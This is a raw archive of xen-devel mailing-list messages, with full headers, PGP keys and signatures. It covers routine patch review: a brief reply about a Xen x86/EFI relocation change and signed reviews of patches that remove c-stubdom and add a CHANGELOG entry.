X-Gm-Message-State: AOJu0Yy7WWK4EJFNfiYGpetqVrimB7SonQ7tUPQu353gupZDuS7k4kS8
	WP+h8u1YqqunD8WllLLVPsv+TvRWb3qLYuSzkYXF2CQQWWa46T9UiSC9VWK59QbKdw==
X-Gm-Gg: AfdE7clTt51fQwP4Y86PEEkBFalGx/+Nyz/Q6MYmfDRdw+KMAIq0fkdW0gQROy6Pkl2
	mXovABUfh/vYZnvW1XY+qatWrwRiBUF6EKEUHxikc/ySAthCLgF+N7kQej69vNcODVE6WTtuJah
	/KwCVZNF61ZtMkR71/SRstts1TDUaNvnGWVBuSis0GvXoYOoEt5xO64VmpnmL4lnLk05RwBZnEr
	LhWiCP8qYCRaz9Lp7HktdZzrjpn/jQTU6YzKHVxRtBJJwxpF4k/+ny03fXLtodo7MSFZLsE9Lzh
	JiuG/9iaTdsUGacwYiS8QYpkp88aAvlWgteqdHGRaExNXm/enc4G81LQl1X4LqKuNevPocAnFCX
	zdJIKy4UilSLrPAKkxnZtqwhO2CTwNKN4H7j8k+Yd2DtEBLAgiGTOFgmq/yXs2M//jFx/siWdZc
	ZNgh+mWpq5YVLeZVvT3tOA4SzUQ1ck1Ib4i9GpvMFLwI51gAZ2emjvc3P+SkPUN/5t4/mDdDTzp
	ru8
X-Received: by 2002:a05:600c:3110:b0:492:28be:6098 with SMTP id 5b1f17b1804b1-493d11d8025mr124122995e9.11.1783331351980;
        Mon, 06 Jul 2026 02:49:11 -0700 (PDT)
Message-ID: <39b4bca6-b94a-47be-a462-b76235ea1c86@suse.com>
Date: Mon, 6 Jul 2026 11:49:10 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v6 3/4] x86/efi: avoid a relocation in
 efi_arch_post_exit_boot()
To: Frediano Ziglio <freddy77@gmail.com>
Cc: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 "Daniel P. Smith" <dpsmith@apertussolutions.com>,
 =?UTF-8?Q?Marek_Marczykowski-G=C3=B3recki?=
 <marmarek@invisiblethingslab.com>, Andrew Cooper
 <andrew.cooper3@citrix.com>, Teddy Astie <teddy.astie@vates.tech>,
 Frediano Ziglio <frediano.ziglio@citrix.com>, xen-devel@lists.xenproject.org
References: <20260706094430.427155-1-frediano.ziglio@citrix.com>
 <20260706094430.427155-4-frediano.ziglio@citrix.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb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udvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260706094430.427155-4-frediano.ziglio@citrix.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-42698a/1783331352-4014E220-73AC8732/0/0
X-purgate-type: clean
X-purgate-size: 424

On 06.07.2026 11:44, Frediano Ziglio wrote:
> From: Roger Pau MonnÃ© <roger.pau@citrix.com>
> 
> Instead of using the absolute __start_xen address, calculate it as an
> offset from the current instruction pointer.  The relocation would be
> problematic if the generated PE binary had .init.text as a standalone
> section with just read and execute permissions."

You did see Roger's reply on v5, didn't you?

Jan


From xen-devel-bounces@lists.xenproject.org Mon Jul 06 09:53:29 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 09:53:29 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355266.1610017 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgg0y-0002iI-3I; Mon, 06 Jul 2026 09:53:24 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355266.1610017; Mon, 06 Jul 2026 09:53:24 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgg0x-0002iB-V3; Mon, 06 Jul 2026 09:53:23 +0000
Received: by outflank-mailman (input) for mailman id 1355266;
 Mon, 06 Jul 2026 09:53:23 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f36d8b30300080a8@swg.vates.tech>)
 id 1wgg0w-0002hp-Ua
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 09:53:23 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgg0w-008jpk-B3
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 11:53:22 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f36d8b30300080a8@swg.vates.tech>)
 id 6a4b7b0e-5cb7-0a2a0a5109dd-0a2a4507a0b6-8
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 11:53:22 +0200
Received: from [185.255.28.35] (helo=prod-mta-13-02.swg-srv.net)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f36d8b30300080a8@swg.vates.tech>)
 id 6a4b7b11-9c8e-0a2a45070019-b9ff1c23b091-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 11:53:21 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-02.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f36d8b30300080a8.003 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Mon, 06 Jul 2026 09:53:19 +0000
Received: from [192.168.1.18] (88-188-240-210.subs.proxad.net [88.188.240.210])
 (Authenticated sender: teddy.astie)
 by mail2.vates.fr (Postfix) with ESMTPSA id 5F7D681CE3;
 Mon,  6 Jul 2026 11:53:18 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=cs+hJHYKjd4nNAgZYIrLXdzuKsDOKiTI0qFjSHmr5B4=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=Uqh2K9Ebh506ns6o9cALjkkx8Jyn+bLT0427E033jWyXl+IaH3Q8E0rkE05Whs5TI/YRzE/ez
 36g3Sj7sV8zOU2XhUatTSqdMXe3lbLlx0dFOLUKa5TmAgWfptcO4WD/qU2tzn+I1Gd4lm45MaAl
 FphRlAal6Al+vc8XUnxoBqG9YNeDeK462dzKPAijVVxBWAhk/PCHxiOYIm7EHNEUMDRTW/RfnpV
 htu/KrUtt97l0QlY3WNxLdcUMHW7duPzgpj/r/L7XsfDXLk9ZW9lvC38YSlKTcIqRnQwt5MgxW7
 XgtxmTcm2hj4jxGDZwYk6BscD3oIg4Ge2F/kftAseOVQ==
X-Zone-Loop: 203973aa3caef4e76c0a7a5480cba6b73b74d92094ed
x-campaign-type: default
x-transaction-id: 32226af2-0f47-46b5-9918-edb8357078b7
x-swg-uid: 01-6c44122e-b17c-4a36-ab24-d6bfc2ca1c75
X-Mailer: Sweego
Message-ID:
 <1783331599.8631fc262581453bbf619ec5b2062170.19f36d8b30300080a8@vates.tech>
x-swg-bid: 1783331599.8631fc262581453bbf619ec5b2062170.19f36d8b30300080a8
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Mon, 6 Jul 2026 11:53:17 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2 1/2] stubdom: remove c-stubdom
To: Juergen Gross <jgross@suse.com>, xen-devel@lists.xenproject.org
Cc: Anthony PERARD <anthony.perard@vates.tech>,
 Samuel Thibault <samuel.thibault@ens-lyon.org>,
 Andrew Cooper <andrew.cooper3@citrix.com>
References: <20260706090521.1992123-1-jgross@suse.com>
 <20260706090521.1992123-2-jgross@suse.com>
Content-Language: en-US
From: Teddy Astie <teddy.astie@vates.tech>
Autocrypt: addr=teddy.astie@vates.tech; keydata=
 xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7LTBVHV/XO
 Zw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJT4ny+OGntnJntUoR
 KRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJAWicutjkkUgd28Bh6HV9EIumH
 tCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaT
 VqMdqul07o72m3eA2mf+LMu9a04FX/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VQbgM7sW/MNXPP5UKDpkGnLhnvej+GU0s3109sJeXT5ImVdphFs9cvyZyBT9t1Pb
 Rowv58EgV0zE4hbAeVkULAbxFV5b/ExTjjGVHoX7CVhWxvCiTqCUoXZRkUE9C3FnkzEFRkKb
 Yu6NCfiHfEyB3Xyg9hfdrRgjMRq907zCof+nDtWxGz1MSEuvTj1g9GZ049Bennqzjc/Q+0ov
 XoK4jm+Py0FiUGUaA6yhexficjH+kCR/xDbVnWrMhSLB4AuTBT9HjfZI6gk3uYLhoT8Pig4/
 eVtR2Q1wZIJsFToR6ofGuyECwFcs+PUXN7fmGRSiPXgjAr/zIUBdW0VWCE3OGPNqtRk2E5s6
 IQARAQABwsD8BBgBCAAmFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sLAFCQWjmoACGwwA
 CgkQZg+p0QLLz9DncQwAg76IehTemLIfrB8T9WIBZrI4kUV7G7a4rjiVoUiHYN5QwhnbZnsa
 JDlt+Ezoqy/510eo2bCSzvW5xXYPgyjcuOPwgQo1Qp764QxyX6rld2f2RcWkDuBHun55ZWXj
 by8o21ginPRwruBVYY5rVf3DV1iBu4NurUeHtyFk/dS0XTOQi2wVUb17sW/+ybCEokdVacZG
 zOqP/OmwHrF8ylXlXnhQq6e3r+J+T8fuoGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+
 lOWSvdNHgoEkWR0RXBPQjnGmLKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/Off
 O485NOTKwGOxyWb006cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR
 8ULR9nX0LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
 x9fhaZEsniw8/bYgC3igkk5YJiOa
In-Reply-To: <20260706090521.1992123-2-jgross@suse.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------27eyKSqIuqI0v0h0XzHB1R1f"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783331598536
X-purgate-ID: tlsNG-ef75cf/1783331601-FD12E25E-D3372031/0/0
X-purgate-type: clean
X-purgate-size: 15520

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------27eyKSqIuqI0v0h0XzHB1R1f
Content-Type: multipart/mixed; boundary="------------6LfCFJdyqH9yIx0vJ6LYyhs2";
 protected-headers="v1"
From: Teddy Astie <teddy.astie@vates.tech>
To: Juergen Gross <jgross@suse.com>, xen-devel@lists.xenproject.org
Cc: Anthony PERARD <anthony.perard@vates.tech>,
 Samuel Thibault <samuel.thibault@ens-lyon.org>,
 Andrew Cooper <andrew.cooper3@citrix.com>
Message-ID: <2cd65d2b-cbbc-4df5-b814-69f6fb5cfcff@vates.tech>
Subject: Re: [PATCH v2 1/2] stubdom: remove c-stubdom
References: <20260706090521.1992123-1-jgross@suse.com>
 <20260706090521.1992123-2-jgross@suse.com>
In-Reply-To: <20260706090521.1992123-2-jgross@suse.com>
Autocrypt-Gossip: addr=jgross@suse.com; keydata=
 xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjrioyspZKOB
 ycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2kaV2KL9650I1SJve
 dYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i1TXkH09XSSI8mEQ/ouNcMvIJ
 NwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/BBLUVbDa4+gmzDC9ezlZkTZG2t14zWPvx
 XP3FAp2pkW0xqG7/377qptDmrk42GlSKN4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEB
 AAHNH0p1ZXJnZW4gR3Jvc3MgPGpncm9zc0BzdXNlLmNvbT7CwHkEEwECACMFAlOMcK8CGwMH
 Cwk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W0tZqpyy7KVay+K4aMobDsodB3dvEAs6
 ScCnh03dDAFgIq5nsB11j3KPKdVoPlfucX2c7kGNH+LUMbzqV6beIENfNexkOfxHfw==

--------------6LfCFJdyqH9yIx0vJ6LYyhs2
Content-Type: multipart/mixed; boundary="------------VzT2rSCPjehQAQzpdd0B4EgL"

--------------VzT2rSCPjehQAQzpdd0B4EgL
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

TGUgMDYvMDcvMjAyNiDDoCAxMTowOCwgSnVlcmdlbiBHcm9zcyBhIMOpY3JpdMKgOg0KPiBD
LXN0dWJkb20gd2FzIG1lYW50IGFzIGEgYmFzZSBmb3IgYnVpbGRpbmcgbmV3IE1pbmktT1Mg
YmFzZWQgc3R1YmRvbXMuDQo+IEl0IGhhc24ndCBzZWVuIGFueSB3b3JrIGZvciBtYW55IHll
YXJzIG5vdyBhbmQgY3JlYXRpbmcgbmV3IHN0dWJkb21zDQo+IHNob3VsZCB1c2UgVU5JS1JB
RlQgaW5zdGVhZCBvZiBNaW5pLU9TLg0KPiANCj4gU28gcmVtb3ZlIGMtc3R1YmRvbS4NCj4g
DQo+IFNpZ25lZC1vZmYtYnk6IEp1ZXJnZW4gR3Jvc3MgPGpncm9zc0BzdXNlLmNvbT4NCj4g
QWNrZWQtYnk6IEFuZHJldyBDb29wZXIgPGFuZHJldy5jb29wZXIzQGNpdHJpeC5jb20+DQo+
IC0tLQ0KPiAgIHN0dWJkb20vTWFrZWZpbGUgICAgIHwgMTkgLS0tLS0tLS0tLS0tLS0tLS0t
LQ0KPiAgIHN0dWJkb20vYy9NYWtlZmlsZSAgIHwgMTMgLS0tLS0tLS0tLS0tLQ0KPiAgIHN0
dWJkb20vYy9tYWluLmMgICAgIHwgIDggLS0tLS0tLS0NCj4gICBzdHViZG9tL2MvbWluaW9z
LmNmZyB8ICAyIC0tDQo+ICAgc3R1YmRvbS9jb25maWd1cmUgICAgfCA0NCAtLS0tLS0tLS0t
LS0tLS0tLS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PiBpbmRleCBmMDdiMDhjNWIzLi4zM2YxNzAxNDRlIDEw
MDY0NA0KPiAtLS0gYS9zdHViZG9tL2NvbmZpZ3VyZS5hYw0KPiArKysgYi9zdHViZG9tL2Nv
bmZpZ3VyZS5hYw0KPiBAQCAtMTgsNyArMTgsNiBAQCBtNF9pbmNsdWRlKFsuLi9tNC9kZXBl
bmRzLm00XSkNCj4gICBtNF9pbmNsdWRlKFsuLi9tNC9mZXRjaGVyLm00XSkNCj4gICANCj4g
ICAjIEVuYWJsZS9kaXNhYmxlIHN0dWIgZG9tYWlucw0KPiAtQVhfU1RVQkRPTV9ERUZBVUxU
X0RJU0FCTEUoW2Mtc3R1YmRvbV0sIFtjXSkNCj4gICBBWF9TVFVCRE9NX0RFRkFVTFRfRElT
QUJMRShbcHYtZ3J1Yl0sIFtncnViXSkNCj4gICBBWF9TVFVCRE9NX0RFRkFVTFRfRU5BQkxF
KFt4ZW5zdG9yZS1zdHViZG9tXSwgW3hlbnN0b3JlXSkNCj4gICBBWF9TVFVCRE9NX0RFRkFV
TFRfRU5BQkxFKFt4ZW5zdG9yZXB2aC1zdHViZG9tXSwgW3hlbnN0b3JlcHZoXSkNCg0KUmV2
aWV3ZWQtYnk6IFRlZGR5IEFzdGllIDx0ZWRkeS5hc3RpZUB2YXRlcy50ZWNoPg0K
--------------VzT2rSCPjehQAQzpdd0B4EgL
Content-Type: application/pgp-keys; name="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Disposition: attachment; filename="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7L
TBVHV/XOZw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJ
T4ny+OGntnJntUoRKRPhTirr6yNeBk/637O3CQXjtqFUPZnko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fhaZEsniw8/bYgC3igkk5YJiOa
=3DlUIA
-----END PGP PUBLIC KEY BLOCK-----

--------------VzT2rSCPjehQAQzpdd0B4EgL--

--------------6LfCFJdyqH9yIx0vJ6LYyhs2--

--------------27eyKSqIuqI0v0h0XzHB1R1f
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsD5BAABCAAjFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmpLew4FAwAAAAAACgkQZg+p0QLLz9AW
pgwAhZzHbf59k8n85jYICTQ2h4sWNnlk7jyNLpvIlBWLdBy7cx5MAz7HWxQySpH+IlRMqtyN2x6V
C4AAheDSN3NUzGDWxcNXPzGWBuaZRV4waJuHk4RcIWlvBU9xjgGMrEnMiWITi4puPzYxVQLNywWd
muZNFDZZ8vmQO3QoKZc5VHvhGzNS3WwMAX9c6P3NO9q92Nh46XncJtBtj9Uo6xVXC3BaGZ/nWSP2
w3rCxhEAuEQDJqku4Gi10dmh948DNcWesOc/7n6vo2IYWaFJ68LE1LpyLJRoB4xICBhP0CzYJUXu
EVx5+5Zd7N3H1dwjaP3KHLXiERisjMfg5fqDm7xksscPdWgQQCshL0OhUY39XsMzsscTnF4NEHDi
KqORph8oIxETvut7afrXXk0EmnqSunUFcJ/SwssEu29N4v+835U8zK0wStdrya1UPQg1RjjWzhdl
cK6A8QJ41VOy+A0Ubaq0A3/LxaXXtgeRNFCjkclOD8WouY11b3hSOd4mtSbI
=BEcn
-----END PGP SIGNATURE-----

--------------27eyKSqIuqI0v0h0XzHB1R1f--


From xen-devel-bounces@lists.xenproject.org Mon Jul 06 09:53:54 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 09:53:54 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355272.1610024 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgg1S-00038m-9g; Mon, 06 Jul 2026 09:53:54 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355272.1610024; Mon, 06 Jul 2026 09:53:54 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgg1S-00038f-6Z; Mon, 06 Jul 2026 09:53:54 +0000
Received: by outflank-mailman (input) for mailman id 1355272;
 Mon, 06 Jul 2026 09:53:52 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f36d90b2300080a8@swg.vates.tech>)
 id 1wgg1Q-00038B-Ic
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 09:53:52 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgg1P-009MuI-HJ
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 11:53:51 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f36d90b2300080a8@swg.vates.tech>)
 id 6a4b7b24-e002-0a2a0a5209dd-0a2a450cdb6e-6
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 11:53:46 +0200
Received: from [185.255.28.18] (helo=prod-mta-13.swg-srv.net)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f36d90b2300080a8@swg.vates.tech>)
 id 6a4b7b2a-f399-0a2a450c0019-b9ff1c128e67-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 11:53:46 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f36d90b2300080a8.002 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Mon, 06 Jul 2026 09:53:41 +0000
Received: from [192.168.1.18] (88-188-240-210.subs.proxad.net [88.188.240.210])
 (Authenticated sender: teddy.astie)
 by mail2.vates.fr (Postfix) with ESMTPSA id F390C81CED;
 Mon,  6 Jul 2026 11:53:40 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=0zmh7ntD0NwbuyX0MAEdgUK4EH+61D0dJlFkFI6sH8c=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=fPC110hZZZH9+AE9jMND/HU+9hNI+uxAZk9m9DBrm9Wpa79OpKlzHlWMf2LLktZMp1aWHwP5K
 Du70EV4oPWSByBkFPDVG2Wv7PiRsaakNdrROxXH9PjDWNJUi0FbKHXgtLCCvmtbSE5UtD6YkNp3
 QHFKXycf6uSeFEzPnpUfMOZzXVs1NQWROSXgKL4uzsAl7OwChjVtsnrSHJbXyCtMsbNhYtOaIy+
 1Z+HvXjYlbzFwBiHDoI6zV8jy49v35GgpCtKyhLmQJukjHQp8QDWp72nQUjubtnqKOKlz5ym+WM
 Rkuu5y1U/c1jaehgwk8BOErmUpxA5TcC0YLo4PpY2zfg==
X-Zone-Loop: 601b1e2bfbcca5d0bbdd79a61f591433d9bc323b6cd8
x-campaign-type: default
x-transaction-id: cb95bde2-a7a0-4006-a2ac-3736a31c14ee
x-swg-uid: 01-8429eee2-b4a1-419e-b6ee-765ffd640c3d
X-Mailer: Sweego
Message-ID:
 <1783331621.8631fc262581453bbf619ec5b2062170.19f36d90b2300080a8@vates.tech>
x-swg-bid: 1783331621.8631fc262581453bbf619ec5b2062170.19f36d90b2300080a8
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Mon, 6 Jul 2026 11:53:40 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2 2/2] CHANGELOG: add entry for removed c-stubdom
To: Juergen Gross <jgross@suse.com>, xen-devel@lists.xenproject.org
Cc: Oleksii Kurochko <oleksii.kurochko@gmail.com>,
 Community Manager <community.manager@xenproject.org>
References: <20260706090521.1992123-1-jgross@suse.com>
 <20260706090521.1992123-3-jgross@suse.com>
Content-Language: en-US
From: Teddy Astie <teddy.astie@vates.tech>
Autocrypt: addr=teddy.astie@vates.tech; keydata=
 xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7LTBVHV/XO
 Zw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJT4ny+OGntnJntUoR
 KRPhTirr6yNeBk/637O3CQXjtqF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1UqFfvozJZwFzfEieJLXa4nlGgR6D
 x9fhaZEsniw8/bYgC3igkk5YJiOa
In-Reply-To: <20260706090521.1992123-3-jgross@suse.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------lJ7JyMS3Ud2nUOJKYcCjKlFJ"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783331621103
X-purgate-ID: tlsNG-d25034/1783331626-93339D51-390E999B/0/0
X-purgate-type: clean
X-purgate-size: 7653

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------lJ7JyMS3Ud2nUOJKYcCjKlFJ
Content-Type: multipart/mixed; boundary="------------tuDUN3HkzB3CUFW0EzR1jJDY";
 protected-headers="v1"
From: Teddy Astie <teddy.astie@vates.tech>
To: Juergen Gross <jgross@suse.com>, xen-devel@lists.xenproject.org
Cc: Oleksii Kurochko <oleksii.kurochko@gmail.com>,
 Community Manager <community.manager@xenproject.org>
Message-ID: <0c9d644e-550f-45f6-9580-de4073b47a80@vates.tech>
Subject: Re: [PATCH v2 2/2] CHANGELOG: add entry for removed c-stubdom
References: <20260706090521.1992123-1-jgross@suse.com>
 <20260706090521.1992123-3-jgross@suse.com>
In-Reply-To: <20260706090521.1992123-3-jgross@suse.com>
Autocrypt-Gossip: addr=jgross@suse.com; keydata=
 xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjrioyspZKOB
 ycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2kaV2KL9650I1SJve
 dYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i1TXkH09XSSI8mEQ/ouNcMvIJ
 NwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/BBLUVbDa4+gmzDC9ezlZkTZG2t14zWPvx
 XP3FAp2pkW0xqG7/377qptDmrk42GlSK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wB2BHdIAkYce3hEoDQXt/mKlgEGsLpzJcnLKimtPXQQy9TxUaLBe9PInPd+Ohix0XOlY+Uk
 QFEx50Ki3rSDl2Zt2tnkNYKUCvTJq7jvOlaPd6d/W0tZqpyy7KVay+K4aMobDsodB3dvEAs6
 ScCnh03dDAFgIq5nsB11j3KPKdVoPlfucX2c7kGNH+LUMbzqV6beIENfNexkOfxHfw==

--------------tuDUN3HkzB3CUFW0EzR1jJDY
Content-Type: multipart/mixed; boundary="------------IJeqZfC09YohP0MefKjuHq0Y"

--------------IJeqZfC09YohP0MefKjuHq0Y
